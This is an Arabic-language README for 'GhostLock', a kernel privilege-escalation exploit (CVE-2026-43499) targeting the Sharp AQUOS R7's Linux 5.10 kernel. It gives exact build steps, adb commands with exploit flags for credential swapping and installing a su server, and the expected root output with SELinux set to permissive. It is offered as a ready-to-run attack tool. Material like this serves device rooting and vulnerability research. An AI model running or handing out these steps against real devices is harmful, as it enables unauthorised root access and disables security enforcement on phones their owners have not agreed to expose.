
استغلال ثغرة أمنية في نواة Linux 5.10 خاصة بجهاز Sharp AQUOS R7 للحصول على صلاحيات الجذر (CVE-2026-43499)، مما يمنح UID 0 مؤقتًا مع SELinux permissive وخادم su.
منفذ خاص بالجهاز من GhostLock (CVE-2026-43499) لنواة Linux 5.10 لجهاز Sharp
AQUOS R7. الهدف المُتحقق منه هو AQUOS R7 (Mineva، SGA202SH/A202SH)
الذي يعمل بنظام Android 14 إصدار 03.00.06، النواة
5.10.218-android12-9-00041-g124993efd06e-ab12385094 (SM8450).
هذا منفذ من aquos-r6-ghostlock
(AQUOS R6، النواة 5.4.61-qgki). كل ثابت — معالجة KASLR،
نافذة تسريب selinux_state، إزاحات task/cred، منطقة zero-BSS scratch —
أُعيد اشتقاقه والتحقق منه مقابل نواة R7؛ هندسة مكدس R6
استُخدمت فقط كمرجع بداية.
تشغيل ناجح يمنحك UID 0 مع SELinux permissive ويشغّل
خادم أوامر su صغير. لا يمنح مجموعة قدرات Linux كاملة
والتغيير غير دائم: إعادة التشغيل تستعيد حالة النواة الأصلية.
مطلوب Android NDK clang الموجّه إلى aarch64-linux-android29 (تم اختباره
مع NDK r30):
make build/ghostlock510 # ~3.4 MB static binary
make strip # optional; ~0.6 MB, same behaviour
قابلية إعادة الإنتاج: هذا المصدر، عند بنائه بسلسلة الأدوات أعلاه، مطابق بايت ببايت
(MD5 fa896ebd361519766b46cc2bab70dea2) للثنائي المستخدم في جميع اختبارات
الجهاز. أصل الإصدار هو النسخة المُعالجة بـ llvm-strip من ذلك الثنائي بالضبط
(598,672 بايت، SHA-256 d3056b65380da9fda68bc1891a08c6028ee1cbdb39ff2c3ca136b703f1b0bef7).
ادفع الثنائي (أصل الإصدار أو بنائك الخاص) وشغّله مرة واحدة:
adb push ghostlock510 /data/local/tmp/ghostlock510
adb shell chmod 755 /data/local/tmp/ghostlock510
adb shell "setsid nohup /data/local/tmp/ghostlock510 \
--use-setattr --stamp3 --perm-pc --cred-swap --install-su \
--stamp-off 0xf0 --log /data/local/tmp/ghostlock510.log \
</dev/null >/dev/null 2>&1 &"
استخدم عميل su المثبّت لأوامر root (المسار الكامل مطلوب):
adb shell "/data/local/tmp/su -c 'id; getenforce'"
# uid=0(root) gid=2000(shell) groups=2000(shell) context=u:r:kernel:s0
# Permissive
يتواصل su مع خادم الاستغلال عبر TCP على loopback (المنفذ 9999)؛ لا تُرفق
قشرة root دائمة. الأوامر سطرية، وتداخل su
داخل su لا يعمل. البرامج التفاعلية (vi، top، …) تحتاج PTY؛ وضع su
تفاعلي فوق الخادم متروك كعمل مستقبلي.
تم القياس على هذا البناء بالضبط (انظر VERIFICATION.md):
إذن: أعد التشغيل، شغّل ghostlock510 مرة واحدة، ولا تشغّله مجددًا أثناء
حياة تلك الجلسة. إعادة التشغيل هي مسار التنظيف.
المدخلات الخارجية الكبيرة غير مُضمّنة عمدًا في هذا المستودع:
vmlinux/System.map لبناء نواة
Android CI 12385094؛ تم التحقق من التطابق على مستوى البايت مع النواة
العاملة فعليًا على الجهاز عبر صورة boot_a الخاصة به.--stamp3 / --use-setattr
مستوحى منه (لا يوجد ترخيص مذكور في ذلك المستودع).